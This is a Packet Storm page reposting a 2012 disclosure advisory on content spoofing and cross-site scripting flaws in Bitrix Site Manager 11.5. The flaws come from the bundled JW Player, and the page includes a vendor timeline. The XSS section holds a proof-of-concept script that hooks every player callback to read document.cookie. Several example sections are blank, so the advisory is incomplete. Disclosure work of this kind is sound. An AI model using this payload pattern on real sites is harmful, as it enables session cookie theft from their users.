exploit the possibilities

Bitrix Site Manager 11.5 XSS / Content Spoofing

Bitrix Site Manager 11.5 XSS / Content Spoofing
Posted Oct 22, 2012
Authored by MustLive

Bitrix Site Manager versions 11.5 and below suffers from bypass, cross site scripting, and content spoofing vulnerabilities.

tags | exploit, spoof, vulnerability, xss
MD5 | acf7500d41dce4bd5be1db07879c39cc

Bitrix Site Manager 11.5 XSS / Content Spoofing

Change Mirror Download
Hello list!

I want to warn you about security vulnerabilities in Bitrix Site Manager. It
is commercial CMS.

These are Content Spoofing and Cross-Site Scripting vulnerabilities. These
holes bypass built-in WAF and all other protections of Bitrix.

Affected products:

Vulnerable are Bitrix Site Manager 11.5 and previous versions. Which consist
JW Player Pro.

Versions of Bitrix 11.5 after 2012.08.24 must be not affected, because the
developers fixed these holes after my informing. As I've checked (at main
sites of developers, where I found these vulnerabilities), they were fixed
by removing this flash file.

Vulnerabilities are similar to the ones in JW Player
(http://securityvulns.ru/docs28176.html) and JW Player Pro

For finding these holes, which bypass WAF and all other their protections,
1C-Bitrix had no need to waste their time and money on conducting
competition on hacking conference CC9
(http://www.1c-bitrix.ru/about/life/news/171346/) for bypassing their
Proactive Protection (WAF) and other protections of CMS, or working with one
security company, all of which were unable to find these holes in Bitrix for
many years, but they just should contact me. Or just read my public advisory
in June concerning vulnerabilities in JW Player.


Content Spoofing (WASC-12):

In parameter file there can be set as video, as audio files.

Swf-file of JW Player accepts arbitrary addresses in parameters file and
image, which allows to spoof content of flash - i.e. by setting addresses of
video (audio) and/or image files from other site.


Swf-file of JW Player accepts arbitrary addresses in parameter config, which
allows to spoof content of flash - i.e. by setting address of config file
from other site (parameters file and image in xml-file accept arbitrary
addresses). For loading of config file from other site it needs to have




Swf-file of JW Player accepts arbitrary addresses in parameter playlistfile,
which allows to spoof content of flash - i.e. by setting address of playlist
file from other site (parameters media:content and media:thumbnail in
xml-file accept arbitrary addresses). For loading of playlist file from
other site it needs to have crossdomain.xml.



<rss version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
<title>Example playlist</title>
<title>Video #1</title>
<description>First video.</description>
<media:content url="1.flv" duration="5" />
<media:thumbnail url="1.jpg" />
<title>Video #2</title>
<description>Second video.</description>
<media:content url="2.flv" duration="5" />
<media:thumbnail url="2.jpg" />

XSS (WASC-08):


XSS (WASC-08):

If at the site at page with jwplayer.swf (player.swf) there is possibility
(via HTML Injection) to include JS code with callback-function, and there
are 19 such functions in total, then it's possible to conduct XSS attack.
I.e. JS-callbacks can be used for XSS attack.

Example of exploit:

<script type="text/javascript" src="jwplayer.js"></script>
<div id="container">...</div>
<script type="text/javascript">
flashplayer: "jwplayer.swf",
file: "1.flv",
autostart: true,
height: 300,
width: 480,
events: {
onReady: function() { alert(document.cookie); },
onComplete: function() { alert(document.cookie); },
onBufferChange: function() { alert(document.cookie); },
onBufferFull: function() { alert(document.cookie); },
onError: function() { alert(document.cookie); },
onFullscreen: function() { alert(document.cookie); },
onMeta: function() { alert(document.cookie); },
onMute: function() { alert(document.cookie); },
onPlaylist: function() { alert(document.cookie); },
onPlaylistItem: function() { alert(document.cookie); },
onResize: function() { alert(document.cookie); },
onBeforePlay: function() { alert(document.cookie); },
onPlay: function() { alert(document.cookie); },
onPause: function() { alert(document.cookie); },
onBuffer: function() { alert(document.cookie); },
onSeek: function() { alert(document.cookie); },
onIdle: function() { alert(document.cookie); },
onTime: function() { alert(document.cookie); },
onVolume: function() { alert(document.cookie); }

There is such feature as logo in licensed version of the player. So in
licensed versions of swf-file there are also the next vulnerabilities:

Content Spoofing (WASC-12):


XSS (WASC-08):


Content Spoofing (WASC-12):


XSS (WASC-08):



2012.08.16 - informed developers about the first part of vulnerabilities.
2012.08.17 - on their answer, I gave recommendations to developers about
fixing vulnerabilities.
2012.08.19 - informed developers about the second part of vulnerabilities.
2012.08.20 - announced at my site.
2012.08.24 - developers informed that they have fixed all these
2012.10.20 - disclosed at my site (http://websecurity.com.ua/5992/).

Best wishes & regards,
Administrator of Websecurity web site

Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2020 Packet Storm. All rights reserved.

Security Services
Hosting By